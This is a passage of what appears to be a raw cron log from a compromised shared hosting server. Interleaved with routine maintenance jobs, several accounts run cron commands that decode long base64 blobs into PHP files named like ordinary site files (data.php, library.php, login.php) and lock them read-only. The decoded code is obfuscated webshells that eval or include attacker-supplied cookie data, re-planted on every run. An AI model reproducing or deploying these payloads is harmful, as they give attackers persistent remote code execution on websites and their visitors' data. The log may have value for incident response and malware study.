Q0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:03:01 medusa CROND[11520]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:03:01 medusa CROND[11522]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:03:01 medusa CROND[11523]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:03:01 medusa CROND[11524]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:03:01 medusa CROND[11533]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:04:01 medusa CROND[13318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:04:01 medusa CROND[13326]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:04:01 medusa CROND[13328]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:04:01 medusa CROND[13329]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:04:01 medusa CROND[13330]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:04:01 medusa CROND[13331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:04:01 medusa CROND[13336]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:04:01 medusa CROND[13335]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:04:01 medusa CROND[13337]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:04:01 medusa CROND[13338]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:04:01 medusa CROND[13339]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:04:01 medusa CROND[13340]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:04:01 medusa CROND[13343]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:05:01 medusa CROND[14981]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:05:01 medusa CROND[14987]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:05:01 medusa CROND[14994]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:05:01 medusa CROND[14995]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:05:01 medusa CROND[14996]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:05:01 medusa CROND[14997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 05:05:01 medusa CROND[14998]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:05:01 medusa CROND[14999]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:05:01 medusa CROND[15006]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:05:01 medusa CROND[15008]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:05:01 medusa CROND[15009]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:05:01 medusa CROND[15013]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 05:05:01 medusa CROND[15014]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLC